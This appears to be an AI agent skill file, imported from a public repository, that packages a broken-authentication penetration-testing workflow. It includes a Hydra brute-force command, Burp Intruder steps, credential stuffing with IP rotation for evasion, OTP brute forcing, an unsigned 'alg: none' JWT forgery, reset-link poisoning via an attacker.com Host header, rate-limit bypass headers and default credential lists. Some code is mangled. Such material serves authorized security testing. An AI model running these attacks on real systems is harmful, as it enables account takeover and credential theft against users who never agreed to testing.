Broken Authentication Testing
Overview
This public intake copy packages plugins/antigravity-awesome-skills-claude/skills/broken-authentication from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.
Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.
This intake keeps the copied upstream files intact and uses the external_source block in metadata.json plus ORIGIN.md as the provenance anchor for review.
Broken Authentication Testing
Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations.
When to Use This Skill
Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.
- This skill is applicable to execute the workflow or actions described in the overview.
- Use when the request clearly matches the imported source intent: Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and....
- Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
- Use when provenance needs to stay visible in the answer, PR, or review packet.
- Use when copied upstream references, examples, or scripts materially improve the answer.
- Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.
Operating Table
| Situation | Start here | Why it matters |
|---|
| First-time use | metadata.json | Confirms repository, branch, commit, and imported path through the external_source block before touching the copied workflow |
| Provenance review | ORIGIN.md | Gives reviewers a plain-language audit trail for the imported source |
| Workflow execution | SKILL.md | Starts with the smallest copied file that materially changes execution |
| Supporting context | SKILL.md | Adds the next most relevant copied source file without loading the entire package |
| Handoff decision | ## Related Skills | Helps the operator switch to a stronger native skill when the task drifts |
Workflow
This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
- Capture login request
- Send to Intruder
- Set payload positions on password field
Imported Workflow Notes
Imported: Core Workflow
Phase 1: Authentication Mechanism Analysis
Understand the application's authentication architecture:
# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*
Capture and analyze authentication requests:
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123
Phase 2: Password Policy Testing
Evaluate password requirements and enforcement:
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
Phase 3: Credential Enumeration
Test for username enumeration vulnerabilities:
Password reset
"Email sent if account exists" (secure)
"No account with that email" (leaks info)
API responses
{"error": "user_not_found"}
{"error": "invalid_password"}
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes
Check for protections:
- After how many attempts?
- Duration of lockout?
- Lockout notification?
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?
- After failed attempts?
- Easily bypassable?
Phase 5: Credential Stuffing
Test with known breached credentials:
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts
Phase 6: Session Management Testing
Analyze session token security:
Cookie: SESSIONID=abc123def456
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?
Session token analysis:
import requests
import hashlib
tokens = []
for i in range(100):
response = requests.get("https://target.com/login")
token = response.cookies.get("SESSIONID")
tokens.append(token)
Phase 7: Session Fixation Testing
Test if session is regenerated after authentication:
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid
Attack scenario:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session
Phase 8: Session Timeout Testing
Verify session expiration policies:
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side
Phase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse
POST /api/v2/check-otp
{"otp": "1234"}
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass
Test MFA enrollment:
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?
- Can MFA be disabled via email alone?
- Social engineering potential?
Phase 10: Password Reset Testing
Analyze password reset security:
1. Request password reset
2. Capture reset link
3. Analyze token:
- Length and randomness
- Expiration time
- Single-use enforcement
- Account binding
https://target.com/reset?token=abc123&user=victim
POST /forgot-password HTTP/1.1
Host: attacker.com
email=victim@email.com
Imported: Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
Examples
Example 1: Ask for the upstream workflow directly
Use @broken-authentication to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.
Example 2: Ask for a provenance-grounded review
Review @broken-authentication against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.
Example 3: Narrow the copied support files before execution
Use @broken-authentication for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.
Example 4: Build a reviewer packet
Review @broken-authentication using the copied upstream files plus provenance, then summarize any gaps before merge.
Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.
Imported Usage Notes
Imported: Examples
Example 1: Account Lockout Bypass
Scenario: Test if account lockout can be bypassed
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1
X-Forwarded-For: 192.168.1.2
username=Admin (vs admin)
username=ADMIN
Example 2: JWT Token Attack
Scenario: Exploit weak JWT implementation
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Example 3: Password Reset Token Exploitation
Scenario: Test password reset functionality
POST /forgot-password
email=test@example.com
https://target.com/reset?token=a1b2c3d4e5f6
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
Best Practices
Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.
- Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
- Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
- Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
- Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
- Treat generated examples as scaffolding; adapt them to the concrete task before execution.
- Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.
Troubleshooting
Problem: The operator skipped the imported context and answered too generically
Symptoms: The result ignores the upstream workflow in plugins/antigravity-awesome-skills-claude/skills/broken-authentication, fails to mention provenance, or does not use any copied source files at all.
Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Check the external_source block first, then restate the provenance before continuing.
Problem: The imported workflow feels incomplete during review
Symptoms: Reviewers can see the generated SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task.
Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.
Problem: The task drifted into a different specialization
Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.
Imported Troubleshooting Notes
Imported: Troubleshooting
| Issue | Solutions |
|---|
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |
Related Skills
@00-andruia-consultant - Use when the work is better handled by that native specialization after this imported skill establishes context.@00-andruia-consultant-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.@10-andruia-skill-smith - Use when the work is better handled by that native specialization after this imported skill establishes context.@10-andruia-skill-smith-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
Additional Resources
Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.
| Resource family | What it gives the reviewer | Example path |
|---|
references | copied reference notes, guides, or background material from upstream | references/n/a |
examples | worked examples or reusable prompts copied from upstream | examples/n/a |
scripts | upstream helper scripts that change execution or validation | scripts/n/a |
agents | routing or delegation notes that are genuinely part of the imported package | agents/n/a |
assets | supporting assets or schemas copied from the source package | assets/n/a |
Imported Reference Notes
Imported: Quick Reference
Common Vulnerability Types
| Vulnerability | Risk | Test Method |
|---|
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duration session testing |
| Insecure password reset | High | Token analysis, workflow bypass |
| MFA bypass | Critical | Direct access, response manipulation |
Credential Testing Payloads
admin:admin
admin:password
admin:123456
root:root
test:test
user:user
123456
password
12345678
qwerty
abc123
password1
admin123
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists
Session Cookie Flags
| Flag | Purpose | Vulnerability if Missing |
|---|
| HttpOnly | Prevent JS access | XSS can steal session |
| Secure | HTTPS only | Sent over HTTP |
| SameSite | CSRF protection | Cross-site requests allowed |
| Path | URL scope | Broader exposure |
| Domain | Domain scope | Subdomain access |
| Expires | Lifetime | Persistent sessions |
Rate Limiting Bypass Headers
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Imported: Prerequisites
Required Knowledge
- HTTP protocol and session mechanisms
- Authentication types (SFA, 2FA, MFA)
- Cookie and token handling
- Common authentication frameworks
Required Tools
- Burp Suite Professional or Community
- Hydra or similar brute-force tools
- Custom wordlists for credential testing
- Browser developer tools
Required Access
- Target application URL
- Test account credentials
- Written authorization for testing
Imported: Outputs and Deliverables
- Authentication Assessment Report - Document all identified vulnerabilities
- Credential Testing Results - Brute-force and dictionary attack outcomes
- Session Security Analysis - Token randomness and timeout evaluation
- Remediation Recommendations - Security hardening guidance
Imported: Constraints and Limitations
Legal Requirements
- Only test with explicit written authorization
- Avoid testing with real breached credentials
- Do not access actual user accounts
- Document all testing activities
Technical Limitations
- CAPTCHA may prevent automated testing
- Rate limiting affects brute force timing
- MFA significantly increases attack difficulty
- Some vulnerabilities require victim interaction
Scope Considerations
- Test accounts may behave differently than production
- Some features may be disabled in test environments
- Third-party authentication may be out of scope
- Production testing requires extra caution
